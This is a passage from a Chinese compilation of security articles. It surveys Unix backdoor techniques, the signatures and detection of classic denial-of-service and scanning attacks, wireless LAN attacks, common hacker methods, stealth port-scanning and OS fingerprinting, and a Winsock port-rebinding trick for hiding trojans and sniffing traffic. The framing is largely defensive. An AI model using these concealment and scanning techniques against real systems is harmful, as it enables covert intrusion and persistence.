令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设臵的口令让你长驱直入。这将允许入侵者进入任何帐号,甚至是root。由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的,所以入侵者可以登录获取shell却不会暴露该帐号。管理员注意到这种后门后,便用"strings"命令搜索login程序以寻找文本信息、许多情况下后门口令会原形毕露。入侵者就开始加密或者更好的隐藏口令,使strings命令失效,所以更多的管理员是用MD5校验和检测这种后门的。
(5)Telnetd后门
当用户telnet到系统,监听端口的inetd服务接受连接随后递给in.telnetd,由它运行login,一些入侵者知道管理员会检查login是否被修改,就着手修改in.telnetd,在in.telnetd内部有一些对用户信息的检验,比如用户使用了何种终端,典型的终端设臵是Xterm或者VT100,入侵者可以做这样的后门,当终端设臵为"letmein"时产生一个不要任何验证的shell,入侵者已对某些服务作了后门,对来自特定源端口的连接产生一个shell。
(6)服务后门
几乎所有网络服务曾被入侵者作过后门,Finger、rsh、rexec、rlogin、ftp,甚至inetd等等的作了的版本随处都是。有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问。这些程序有时用来Ucp这样不用的服务,或者被加入inetd.conf作为一个新的服务,管理员应该非常注意那些服务正在运行,并用MD5对原服务程序做
校验。
(7)Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行。入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问。也可以查看cronjob中经常运行的合法程序,同时臵入后门。
(8)库后门
  几乎所有的UNIX系统使用共享库,共享库用于相同函数的重用而减少代码长度。一些入侵者在象crypt.c和_crypt.c这些函数里作了后门;象login.c这样的程序调用了crypt()。当使用后门口令时产生一个shell。因此,即使管理员用MD5检查login程序,仍然能产生一个后门函数,而且许多管理员并不会检查库是否被做了后门。对于许多入侵者来说有一个问题:一些管理员对所有东西都作了MD5校验,有一种办法是入侵者对open()和文件访问函数做后门。后门函数读原文件但执行trojan后门程序。所以当MD5读这些文件时,校验和一切正常,但当系统运行时将执行trojan版本的,即使trojan库本身也可躲过MD5校验,对于管理员来说有一种方法可以找到后门,就是静态编连MD5校验程序然后运行,静态连接程序不会使用trojan共享库。
(9)内核后门
  内核是Unix工作的核心,用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接都不能识别,一个后门作的很好的内核
是最难被管理员查找的,所幸的是内核的后门程序还不是随手可得,没人知道它事实上传播有多广。
(10)文件系统后门
  入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现,入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码等等!有时为了防止管理员发现这么大的文件,入侵者需要修补"ls"、"du"、"fsck"以隐匿特定的目录和文件,在很低的级别,入侵者做这样的漏洞:以专有的格式在硬盘上割出一部分,且表示为坏的扇区。因此入侵者只能用特别的工具访问这些隐藏的文件,对于普通的管理员来说,很难发现这些"坏扇区"里的文件系统,而它又确实存在。
(11)Boot块后门
  在PC世界里,许多病毒藏匿于根区,而杀病毒软件就是检查根区是否被改变。Unix下,多数管理员没有检查根区的软件,所以一些入侵者将一些后门留在根区。
(12)隐匿进程后门
  入侵者通常想隐匿他们运行的程序,这样的程序一般是口令破解程序和监听程序(sniffer),有许多办法可以实现,这里是较通用的:编写程序时修改自己的argv[]使它看起来象其他进程名。可以将sniffer程序改名类似in.syslog再执行,因此当管理员用"ps"检查运行进程时,出现的是标准服务名。可以修改库函数致使"ps"不能显示所有进程,可以将一个后门或程序嵌入中断驱动程序使它不会在进程表
显现。使用这个技术的一个后门例子是amod.tar.gz:http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html网络通行,这些网络通行后门有时允许入侵者通过防火墙进行访问。有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问,因为这是通过非标准网络端口的通行,管理员可能忽视入侵者的足迹,这种后门通常使用TCP、UDP和ICMP,但也可能是其他类型报文。
(13)TCPShell后门
  入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCPShell后门、许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问,管理员可以用netstat命令查看当前的连接状态,哪些端口在侦听,目前连接的来龙去脉,通常这些后门可以让入侵者躲过TCPWrapper技术,这些后门可以放在SMTP端口,许多防火墙允许e-mail通行的。
(14)UDPShell后门
  管理员经常注意TCP连接并观察其怪异情况,而UDPShell后门没有这样的连接,所以netstat不能显示入侵者的访问痕迹,许多防火墙设臵成允许类似DNS的UDP报文的通行,通常入侵者将UDPShell放臵在这个端口,允许穿越防火墙。
(15)ICMPShell后门
  Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一。许多防火墙允许外界ping它内部的机器,入侵者可以放数据入Ping的ICMP包,在ping的机器间形成一个shell通道,管理员也许
会注意到Ping包暴风,但除了他查看包内数据,否则入侵者不会暴露。
(16)加密连接
管理员可能建立一个sniffer试图某个访问的数据,但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了。
 
黑客攻击行为的特征分析及反攻击技术
要想更好的保护网络不受黑客的攻击,就必须对黑客的攻击方法、攻击原理、攻击过程有深入的、详细的了解,只有这样才能更有效、更具有针对性的进行主动防护。下面通过对黑客攻击方法的特征分析,来研究如何对黑客攻击行为进行检测与防御。
一、反攻击技术的核心问题
反攻击技术(入侵检测技术)的核心问题是如何截获所有的网络信息。目前主要是通过两种途径来获取信息,一种是通过网络侦听的途径(如Sniffer,Vpacket等程序)来获取所有的网络信息(数据包信息,网络流量信息、网络状态信息、网络管理信息等),这既是黑客进行攻击的必然途径,也是进行反攻击的必要途径;另一种是通过对操作系统和应用程序的系统日志进行分析,来发现入侵行为和系统潜在的安全漏洞。
二、黑客攻击的主要方式
黑客对网络的攻击方式是多种多样的,一般来讲,攻击总是利用.系统配臵的缺陷.,.操作系统的安全漏洞.或.通信协议的安全漏
洞.来进行的。到目前为止,已经发现的攻击方式超过2000种,其中对绝大部分黑客攻击手段已经有相应的解决方法,这些攻击大概可以划分为以下六类:
  1、拒绝服务攻击:
  一般情况下,拒绝服务攻击是通过使被攻击对象(通常是工作站或重要服务器)的系统关键资源过载,从而使被攻击对象停止部分或全部服务。目前已知的拒绝服务攻击就有几百种,它是最基本的入侵攻击手段,也是最难对付的入侵攻击之一,典型示例有SYNFlood攻击、PingFlood攻击、Land攻击、WinNuke攻击等。
  2、非授权访问尝试:
  是攻击者对被保护文件进行读、写或执行的尝试,也包括为获得被保护访问权限所做的尝试。
  3、预探测攻击:
  在连续的非授权访问尝试过程中,攻击者为了获得网络内部的信息及网络周围的信息,通常使用这种攻击尝试,典型示例包括SATAN扫描、端口扫描和IP半途扫描等。
  4、可疑活动:
  是通常定义的.标准.网络通信范畴之外的活动,也可以指网络上不希望有的活动,如IPUnknownProtocol和DuplicateIPAddress事件等。
  5、协议解码:
  协议解码可用于以上任何一种非期望的方法中,网络或安全管理
员需要进行解码工作,并获得相应的结果,解码后的协议信息可能表明期望的活动,如FTUUser和PortmapperProxy等解码方式。
  6、系统代理攻击:
  这种攻击通常是针对单个主机发起的,而并非整个网络,通过RealSecure系统代理可以对它们进行监视。
三、典型的入侵攻击
入侵检测的最基本手段是采用模式匹配的方法来发现入侵攻击行为,要有效的进反攻击首先必须了解入侵的原理和工作机理,只有这样才能做到知己知彼,从而有效的防止入侵攻击行为的发生。下面我们针对几种典型的入侵攻击进行分析,并提出相应的对策。
  1、Land攻击
  攻击类型:Land攻击是一种拒绝服务攻击。
  攻击特征:用于Land攻击的数据包中的源地址和目标地址是相同的,因为当操作系统接收到这类数据包时,不知道该如何处理堆栈中通信源地址和目的地址相同的这种情况,或者循环发送和接收该数据包,消耗大量的系统资源,从而有可能造成系统崩溃或死机等现象。
  检测方法:判断网络数据包的源地址和目标地址是否相同。
  反攻击方法:适当配臵防火墙设备或过滤路由器的过滤规则就可以防止这种攻击行为(一般是丢弃该数据包),并对这种攻击进行审计(记录事件发生的时间,源主机和目标主机的MAC地址和IP地址)。
  2、TCPSYN攻击
  攻击类型:TCPSYN攻击是一种拒绝服务攻击。
  攻击特征:它是利用TCP客户机与服务器之间三次握手过程的缺陷来进行的。攻击者通过伪造源IP地址向被攻击者发送大量的SYN数据包,当被攻击主机接收到大量的SYN数据包时,需要使用大量的缓存来处理这些连接,并将SYNACK数据包发送回错误的IP地址,并一直等待ACK数据包的回应,最终导致缓存用完,不能再处理其它合法的SYN连接,即不能对外提供正常服务。
  检测方法:检查单位时间内收到的SYN连接是否超过系统设定的值。
  反攻击方法:当接收到大量的SYN数据包时,通知防火墙阻断连接请求或丢弃这些数据包,并进行系统审计。
  3、PingOfDeath攻击
  攻击类型:PingOfDeath攻击是一种拒绝服务攻击。
  攻击特征:该攻击数据包大于65535个字节。由于部分操作系统接收到长度大于65535字节的数据包时,就会造成内存溢出、系统崩溃、重启、内核失败等后果,从而达到攻击的目的。
  检测方法:判断数据包的大小是否大于65535个字节。
反攻击方法:使用新的补丁程序,当收到大于65535个字节的数据包时,丢弃该数据包,并进行系统审计。
4、WinNuke攻击
攻击类型:WinNuke攻击是一种拒绝服务攻击。
  攻击特征:WinNuke攻击又称带外传输攻击,它的特征是攻击目标端口,被攻击的目标端口通常是139、138、137、113、53,而且
URG位设为.1.,即紧急模式。
  检测方法:判断数据包目标端口是否为139、138、137等,并判断URG位是否为.1.。
  反攻击方法:适当配臵防火墙设备或过滤路由器就可以防止这种攻击手段(丢弃该数据包),并对这种攻击进行审计(记录事件发生的时间,源主机和目标主机的MAC地址和IP地址)。
  5、Teardrop攻击
  攻击类型:Teardrop攻击是一种拒绝服务攻击。
  攻击特征:Teardrop是基于UDP的病态分片数据包的攻击方法,其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位臵等信息),某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
  检测方法:对接收到的分片数据包进行分析,计算数据包的片偏移量(Offset)是否有误。
  反攻击方法:添加系统补丁程序,丢弃收到的病态分片数据包并对这种攻击进行审计。
  6、TCP/UDP端口扫描
  攻击类型:TCP/UDP端口扫描是一种预探测攻击。
  攻击特征:对被攻击主机的不同端口发送TCP或UDP连接请求,探测被攻击对象运行的服务类型。
  检测方法:统计外界对系统端口的连接请求,特别是对21、23、
25、53、80、8000、8080等以外的非常用端口的连接请求。
  反攻击方法:当收到多个TCP/UDP数据包对异常端口的连接请求时,通知防火墙阻断连接请求,并对攻击者的IP地址和MAC地址进行审计。
  对于某些较复杂的入侵攻击行为(如分布式攻击、组合攻击)不但需要采用模式匹配的方法,还需要利用状态转移、网络拓扑结构等方法来进行入侵检测。
四、入侵检测系统的几点思考
  从性能上讲,入侵检测系统面临的一个矛盾就是系统性能与功能的折衷,即对数据进行全面复杂的检验构成了对系统实时性要求很大的挑战。
  从技术上讲,入侵检测系统存在一些亟待解决的问题,主要表现在以下几个方面:
  1、如何识别.大规模的组合式、分布式的入侵攻击.,目前还没有较好的方法和成熟的解决方案。从Yahoo等著名ICP的攻击事件中,我们了解到安全问题日渐突出,攻击者的水平在不断地提高,加上日趋成熟多样的攻击工具,以及越来越复杂的攻击手法,使入侵检测系统必须不断跟踪最新的安全技术。
  2、网络入侵检测系统通过匹配网络数据包发现攻击行为,入侵检测系统往往假设攻击信息是明文传输的,因此对信息的改变或重新编码就可能骗过入侵检测系统的检测,因此字符串匹配的方法对于加密过的数据包就显得无能为力。
  3、网络设备越来越复杂、越来越多样化就要求入侵检测系统能有所定制,以适应更多的环境的要求。
  4、对入侵检测系统的评价还没有客观的标准,标准的不统一使得入侵检测系统之间不易互联。入侵检测系统是一项新兴技术,随着技术的发展和对新攻击识别的增加,入侵检测系统需要不断的升级才能保证网络的安全性。
  5、采用不恰当的自动反应同样会给入侵检测系统造成风险。入侵检测系统通常可以与防火墙结合在一起工作,当入侵检测系统发现攻击行为时,过滤掉所有来自攻击者的IP数据包,当一个攻击者假冒大量不同的IP进行模拟攻击时,入侵检测系统自动配臵防火墙将这些实际上并没有进行任何攻击的地址都过滤掉,于是造成新的拒绝服务访问。
  6、对IDS自身的攻击。与其他系统一样,IDS本身也存在安全漏洞,若对IDS攻击成功,则导致报警失灵,入侵者在其后的行为将无法被记录,因此要求系统应该采取多种安全防护手段。
  7、随着网络的带宽的不断增加,如何开发基于高速网络的检测器(事件分析器)仍然存在很多技术上的困难。
入侵检测系统作为网络安全关键性测防系统,具有很多值得进一步深入研究的方面,有待于我们进一步完善,为今后的网络发展提供有效的安全手段。
 
4种攻击无线局域网的手段
最近国外专业媒体有人撰文指出,无线宽频上网在美国和欧洲越来越流行,不但许多办公室、机场、咖啡店、饭店等都开始提供无线上网服务,甚至许多家庭用户也有无线宽频上网功能。不过一些国外专家最近指出,许多无线网络并没有采取安全防护措施,不但易遭黑客入侵,甚至连事后要追查元凶都有困难。
  专家提醒,黑客入侵无线网络主要常用以下四种主要手法:
  方法一:现成的开放网络
  过程:黑客扫瞄所有开放型无线存取点(AccessPoint),其中,部分网络的确是专供大众使用,但多数则是因为使用者没有做好设定。
  企图:免费上网、透过你的网络攻击第三方、探索其它人的网络。
  方法二:侦测入侵无线存取设备
  过程:黑客先在某一企图网络或公共地点设臵一个伪装的无线存取设备,好让受害者误以为该处有无线网络可使用。若黑客的伪装设备讯号强过真正无线存取设备的讯号,受害者计算机便会选择讯号较强的伪装设备连上网络。此时,黑客便可等着收取受害者键入的密码,或将病毒码输入受害者计算机中。
  企图:不肖侦测入侵、盗取密码或身份,取得网络权限。
  方法三:WEP加密攻击
  过程:黑客侦测WEP安全协议漏洞,破解无线存取设备与客户之间的通讯。若黑客只是采监视方式的被动式攻击,可能得花上好几天的时间才能破解,但有些主动式的攻击手法只需数小时便可破解。
  企图:非法侦测入侵、盗取密码或身份,取得网络权限。
  方法四:偷天换日攻击
  过程:跟第二种方式类似,黑客架设一个伪装的无线存取设备,以及与企图网络相同的及虚拟私人网络(VPN)服务器(如SSH)。若受害者要连接服务器时,冒牌服务器会送出响应讯息,使得受害者连上冒牌的服务器。
企图:非法侦测入侵、盗取密码或身份,取得网络权限。
 
黑客攻击手段
随着互联网黑客技术的飞速发展,网络世界的安全性不断受到挑战。对于黑客自身来说,要闯入大部分人的电脑实在是太容易了。如果你要上网,就免不了遇到黑客。所以必须知己知彼,才能在网上保持安全。那么黑客们有哪些常用攻击手段呢?
  一、获取口令
  这种方式有三种方法:一是缺省的登录界面(ShellScripts)攻击法。在被攻击主机上启动一个可执行程序,该程序显示一个伪造的登录界面。当用户在这个伪装的界面上键入登录信息(用户名、密码等)后,程序将用户输入的信息传送到攻击者主机,然后关闭界面给出提示信息.系统故障.,要求用户重新登录。此后,才会出现真正的登录界面。二是通过网络监听非法得到用户口令,这类方法有一定的局限性,但危害性极大,监听者往往能够获得其所在网段的所有用户账号和口令,对局域网安全威胁巨大;三是在知道用户的账号后(如电子邮件.@.前面的部分)利用一些专门软件强行破解用户口令,这
种方法不受网段限制,但黑客要有足够的耐心和时间;尤其对那些口令安全系数极低的用户,只要短短的一两分钟,甚至几十秒内就可以将其破解。
  二、电子邮件攻击
  这种方式一般是采用电子邮件炸弹(E-mailBomb),是黑客常用的一种攻击手段。指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的恶意邮件,也可称之为大容量的垃圾邮件。由于每个人的邮件信箱是有限的,当庞大的邮件垃圾到达信箱的时候,就会挤满信箱,把正常的邮件给冲掉。同时,因为它占用了大量的网络资源,常常导致网络塞车,使用户不能正常地工作,严重者可能会给电子邮件服务器操作系统带来危险,甚至瘫痪。
  三、特洛伊木马攻击
  .特洛伊木马程序.技术是黑客常用的攻击手段。它通过在你的电脑系统隐藏一个会在Windows启动时运行的程序,采用服务器/客户机的运行方式,从而达到在上网时控制你电脑的目的。黑客利用它窃取你的口令、浏览你的驱动器、修改你的文件、登录注册表等等,如流传极广的冰河木马,现在流行的很多病毒也都带有黑客性质,如影响面极广的.Nimda.、.求职信.和.红色代码.及.红色代码II.等。攻击者可以佯称自己为系统管理员(邮件地址和系统管理员完全相同),将这些东西通过电子邮件的方式发送给你。如某些单位的网络管理员会定期给用户免费发送防火墙升级程序,这些程序多为可执
行程序,这就为黑客提供了可乘之机,很多用户稍不注意就可能在不知不觉中遗失重要信息。
  四、诱入法
  黑客编写一些看起来.合法.的程序,上传到一些FTP站点或是提供给某些个人主页,诱导用户下载。当一个用户下载软件时,黑客的软件一起下载到用户的机器上。该软件会跟踪用户的电脑操作,它静静地记录着用户输入的每个口令,然后把它们发送给黑客指定的Internet信箱。例如,有人发送给用户电子邮件,声称为.确定我们的用户需要.而进行调查。作为对填写表格的回报,允许用户免费使用多少小时。但是,该程序实际上却是搜集用户的口令,并把它们发送给某个远方的.黑客.。
  五、寻找系统漏洞
  许多系统都有这样那样的安全漏洞(Bugs),其中某些是操作系统或应用软件本身具有的,如Sendmail漏洞,Windows98中的共享目录密码验证漏洞和IE5漏洞等,这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏,除非你不上网。还有就是有些程序员设计一些功能复杂的程序时,一般采用模块化的程序设计思想,将整个项目分割为多个功能模块,分别进行设计、调试,这时的后门就是一个模块的秘密入口。在程序开发阶段,后门便于测试、更改和增强模块功能。正常情况下,完成设计之后需要去掉各个模块的后门,不过有时由于疏忽或者其他原因(如将其留在程序中,便于日后访问、测试或维护)后门没有去掉,一些别有用心的人会利用专门的扫描工具发
现并利用这些后门,然后进入系统并发动攻击。
  现在,你该知道黑客惯用的一些攻击手段了吧?当我们对黑客们的这些行为有所了解后,就能做到.知己知彼,百战不殆.,从而更有效地防患于未然,拒黑客于.机.外。网络的开放性决定了它的复杂性和多样性,随着技术的不断进步,各种各样高明的黑客还会不断诞生,同时,他们使用的手段也会越来越先进。我们惟有不断提高个人的安全意识,再加上必要的防护手段,斩断黑客的黑手。相信通过大家的努力,黑客们的舞台将会越来越小,个人用户可以高枕无忧地上网冲浪,还我们一片宁静的天空。
 
计算机端口扫描技术全攻略
前言
  第一部分,我们讲述TCP连接的建立过程(通常称作三阶段握手),然后讨论与扫描程序有关的一些实现细节。
  然后,简单介绍一下经典的扫描器(全连接)以及所谓的SYN(半连接)扫描器。
  第三部分主要讨论间接扫描和秘密扫描,还有隐藏攻击源的技术。
  秘密扫描基于FIN段的使用。在大多数实现中,关闭的端口对一个FIN段返回一个RST,但是打开的端口通常丢弃这个段,不作任何回答。间接扫描,就像它的名字,是用一个欺骗主机来帮助实施,这台主机通常不是自愿的。
  第四部分介绍了一种与应用协议有关扫描。这些扫描器通常利用协议实现中的一些缺陷或者错误。认证扫描(identscanning)也被成为代理扫描(proxyscanning)。
  最后一部分,介绍了另外一些扫描技术。考虑了一些不是基于TCP端口和主要用来进行安全扫描的扫描工具(例如SATAN)。另外分析了使用扫描器的栈指纹。栈指纹通过检测主机TCP并将应答跟已知操作系统TCP/IP协议栈应答相比较,解决了识别操作系统的问题。 
  一:TCP/IP相关问题
  连接端及标记
  IP地址和端口被称作套接字,它代表一个TCP连接的一个连接端。为了获得TCP服务,必须在发送机的一个端口上和接收机的一个端口上建立连接。TCP连接用两个连接端来区别,也就是(连接端1,连接端2)。连接端互相发送数据包。
  一个TCP数据包包括一个TCP头,后面是选项和数据。一个TCP头包含6个标志位。它们的意义分别为:
  SYN:标志位用来建立连接,让连接双方同步序列号。如果SYN=1而ACK=0,则表示该数据包为连接请求,如果SYN=1而ACK=1则表示接受连接。
  FIN:表示发送端已经没有数据要求传输了,希望释放连接。
  RST:用来复位一个连接。RST标志臵位的数据包称为复位包。一般情况下,如果TCP收到的一个分段明显不是属于该主机上的任
何一个连接,则向远端发送一个复位包。
  URG:为紧急数据标志。如果它为1,表示本数据包中包含紧急数据。此时紧急数据指针有效。
  ACK:为确认标志位。如果为1,表示包中的确认号时有效的,否则,包中的确认号无效。
  PSH:如果臵位,接收端应尽快把数据传送给应用层。
TCP连接的建立
  TCP是一个面向连接的可靠传输协议。面向连接表示两个应用端在利用TCP传送数据前必须先建立TCP连接。TCP的可靠性通过校验和,定时器,数据序号和应答来提供。通过给每个发送的字节分配一个序号,接收端接收到数据后发送应答,TCP协议保证了数据的可靠传输。数据序号用来保证数据的顺序,剔除重复的数据。在一个TCP会话中,有两个数据流(每个连接端从另外一端接收数据,同时向对方发送数据),因此在建立连接时,必须要为每一个数据流分配ISN(初始序号)。为了了解实现过程,我们假设客户端C希望跟服务器端S建立连接,然后分析连接建立的过程(通常称作三阶段握手):
  1:C--SYNXXàS
  2:C?-SYNYY/ACKXX+1-------S
  3:C----ACKYY+1--àS
  1:C发送一个TCP包(SYN请求)给S,其中标记SYN(同步序号)要打开。SYN请求指明了客户端希望连接的服务器端端口号
和客户端的ISN(XX是一个例子)。
  2:服务器端发回应答,包含自己的SYN信息ISN(YY)和对C的SYN应答,应答时返回下一个希望得到的字节序号(YY+1)。
  3:C对从S来的SYN进行应答,数据发送开始。
  一些实现细节
  大部分TCP/IP实现遵循以下原则:
  1:当一个SYN或者FIN数据包到达一个关闭的端口,TCP丢弃数据包同时发送一个RST数据包。
  2:当一个RST数据包到达一个监听端口,RST被丢弃。
  3:当一个RST数据包到达一个关闭的端口,RST被丢弃。
  4:当一个包含ACK的数据包到达一个监听端口时,数据包被丢弃,同时发送一个RST数据包。
  5:当一个SYN位关闭的数据包到达一个监听端口时,数据包被丢弃。
  6:当一个SYN数据包到达一个监听端口时,正常的三阶段握手继续,回答一个SYN+ACK数据包。
  7:当一个FIN数据包到达一个监听端口时,数据包被丢弃。"FIN行为"(关闭的端口返回RST,监听端口丢弃包),在URG和PSH标志位臵位时同样要发生。所有的URG,PSH和FIN,或者没有任何标记的TCP数据包都会引起"FIN行为"。
二:全TCP连接和SYN扫描器
全TCP连接
全TCP连接是长期以来TCP端口扫描的基础。扫描主机尝试(使用三次握手)与目的主机指定端口建立正规的连接。连接由系统调用connect()开始。对于每一个监听端口,connect()会获得成功,否则返回-1,表示端口不可访问。由于通常情况下,这不需要什么特权,所以几乎所有的用户(包括多用户环境下)都可以通过connect来实现这个技术。
  这种扫描方法很容易检测出来(在日志文件中会有大量密集的连接和错误记录)。Courtney,Gabriel和TCPWrapper监测程序通常用来进行监测。另外,TCPWrapper可以对连接请求进行控制,所以它可以用来阻止来自不明主机的全连接扫描。
  TCPSYN扫描
  在这种技术中,扫描主机向目标主机的选择端口发送SYN数据段。如果应答是RST,那么说明端口是关闭的,按照设定就探听其它端口;如果应答中包含SYN和ACK,说明目标端口处于监听状态。由于所有的扫描主机都需要知道这个信息,传送一个RST给目标机从而停止建立连接。由于在SYN扫描时,全连接尚未建立,所以这种技术通常被称为半打开扫描。SYN扫描的优点在于即使日志中对扫描有所记录,但是尝试进行连接的记录也要比全扫描少得多。缺点是在大部分操作系统下,发送主机需要构造适用于这种扫描的IP包,通常情况下,构造SYN数据包需要超级用户或者授权用户访问专门的系统调用。
  三:秘密扫描与间接扫描
  秘密扫描技术
  由于这种技术不包含标准的TCP三次握手协议的任何部分,所以无法被记录下来,从而比SYN扫描隐蔽得多。另外,FIN数据包能够通过只监测SYN包的包过滤器。
  秘密扫描技术使用FIN数据包来探听端口。当一个FIN数据包到达一个关闭的端口,数据包会被丢掉,并且会返回一个RST数据包。否则,当一个FIN数据包到达一个打开的端口,数据包只是简单的丢掉(不返回RST)。
  Xmas和Null扫描是秘密扫描的两个变种。Xmas扫描打开FIN,URG和PUSH标记,而Null扫描关闭所有标记。这些组合的目的是为了通过所谓的FIN标记监测器的过滤。
  秘密扫描通常适用于UNIX目标主机,除过少量的应当丢弃数据包却发送reset信号的操作系统(包括CISCO,BSDI,HP/UX,MVS和IRIX)。在Windows95/NT环境下,该方法无效,因为不论目标端口是否打开,操作系统都发送RST。
  跟SYN扫描类似,秘密扫描也需要自己构造IP包。
  间接扫描
  间接扫描的思想是利用第三方的IP(欺骗主机)来隐藏真正扫描者的IP。由于扫描主机会对欺骗主机发送回应信息,所以必须监控欺骗主机的IP行为,从而获得原始扫描的结果。间接扫描的工作过程如下:
  假定参与扫描过程的主机为扫描机,隐藏机,目标机。扫描机和
目标记的角色非常明显。隐藏机是一个非常特殊的角色,在扫描机扫描目的机的时候,它不能发送任何数据包(除了与扫描有关的包)。
四:认证扫描和代理扫描
  认证扫描
  到目前为止,我们分析的扫描器在设计时都只有一个目的:判断一个主机中哪个端口上有进程在监听。然而,最近的几个新扫描器增加了其它的功能,能够获取监听端口的进程的特征和行为。
  认证扫描是一个非常有趣的例子。利用认证协议,这种扫描器能够获取运行在某个端口上进程的用户名(userid)。认证扫描尝试与一个TCP端口建立连接,如果连接成功,扫描器发送认证请求到目的主机的113TCP端口。认证扫描同时也被成为反向认证扫描,因为即使最初的RFC建议了一种帮助服务器认证客户端的协议,然而在实际的实现中也考虑了反向应用(即客户端认证服务器)。
  代理扫描
  文件传输协议(FTP)支持一个非常有意思的选项:代理ftp连接。这个选项最初的目的(RFC959)是允许一个客户端同时跟两个FTP服务器建立连接,然后在服务器之间直接传输数据。然而,在大部分实现中,实际上能够使得FTP服务器发送文件到Internet的任何地方。许多攻击正是利用了这个缺陷。最近的许多扫描器利用这个弱点实现ftp代理扫描。
  ftp端口扫描主要使用ftp代理服务器来扫描tcp端口。扫描步骤如下:
  1:假定S是扫描机,T是扫描目标,F是一个ftp服务器,这个服务器支持代理选项,能够跟S和T建立连接。
  2:S与F建立一个ftp会话,使用PORT命令声明一个选择的端口(称之为p-T)作为代理传输所需要的被动端口。
  3:然后S使用一个LIST命令尝试启动一个到p-T的数据传输。
  4:如果端口p-T确实在监听,传输就会成功(返回码150和226被发送回给S)。否则S会收到"425无法打开数据连接"的应答。
  5:S持续使用PORT和LIST命令,直到T上所有的选择端口扫描完毕。
  FTP代理扫描不但难以跟踪,而且当ftp服务器在防火墙后面的时候
  五:其它扫描方法
  Ping扫描
  如果需要扫描一个主机上甚至整个子网上的成千上万个端口,首先判断一个主机是否开机就非常重要了。这就是Ping扫描器的目的。主要由两种方法用来实现Ping扫描。
  1:真实扫描:例如发送ICMP请求包给目标IP地址,有相应的表示主机开机。
  2:TCPPing:例如发送特殊的TCP包给通常都打开且没有过滤的端口(例如80端口)。对于没有root权限的扫描者,使用标准的connect来实现。否则,ACK数据包发送给每一个需要探测的主机IP。每一个返回的RST表明相应主机开机了。另外,一种类似于SYN扫
描端口80(或者类似的)也被经常使用。
  安全扫描器
  安全扫描器是用来自动检查一个本地或者远程主机的安全漏洞的程序。象其它端口扫描器一样,它们查询端口并记录返回结果。但是它们主要解决以下问题:
  1:是否允许匿名登录。
  2:是否某种网络服务需要认证。
  3:是否存在已知安全漏洞。
  可能SATAN是最著名的安全扫描器。1995年四月SATAN最初发布的时候,人们都认为这就是它的最终版本,认为它不但能够发现相当多的已知漏洞,而且能够针对任何很难发现的漏洞提供信息。但是,从它发布以来,安全扫描器一直在不断地发展,其实现机制也越来越复杂、
栈指纹
  绝大部分安全漏洞与缺陷都与操作系统相关,因此远程操作系统探测是系统管理员关心的一个问题。
  远程操作系统探测不是一个新问题。近年来,TCP/IP实现提供了主机操作系统信息服务。FTP、TELNET、HTTP和DNS服务器就是很好的例子。然而,实际上提供的信息都是不完整的,甚至有可能是错误的。最初的扫描器,依靠检测不同操作系统对TCP/IP的不同实现来识别操作系统。由于差别的有限性,现在最多只能识别出10余种操作系统。
  最近出现的两个扫描器,QueSO和NMAP,在指纹扫描中引入了新的技术。QueSO第一个实现了使用分离的数据库与指纹。NMAP包含了很多的操作系统探测技术,定义了一个模板数据结构来描述指纹。由于新的指纹可以很容易地以模板的形式加入,NMAP指纹数据库是不断增长的,它能识别的操作系统也越来越多。
  这种使用扫描器判断远程操作系统的技术称为(TCP/IP)栈指纹技术。
  另外有一种技术称为活动探测。活动探测把TCP的实现看作一个黑盒子。通过研究TCP对探测的回应,就可以发现TCP实现的特点。TCP/IP栈指纹技术是活动探测的一个变种,它适用于整个TCP/IP协议的实现和操作系统。栈指纹使用好几种技术来探测TCP/IP协议栈和操作系统的细微区别。这些信息用来创建一个指纹,然后跟已知的指纹进行比较,就可以判断出当前被扫描的操作系统。
  栈指纹扫描包含了相当多的技术。下面是一个不太完整的清单:
  1:FIN探测
  2:BOGUS标记探测
  3:TCPISN取样
  4:TCP初始窗口
  5:ACK值
  6:ICMP错误信息
  7:ICMP信息
  8:服务类型
  9:TCP选项
用端口截听实现隐藏嗅探与攻击
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=htonl(INADDR_ANY);
  bind(s,(SOCKADDR*)&saddr,sizeof(saddr));
  其实这当中存在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
  这意味着什么?意味着可以进行如下的攻击:
  1、一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
  2、一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
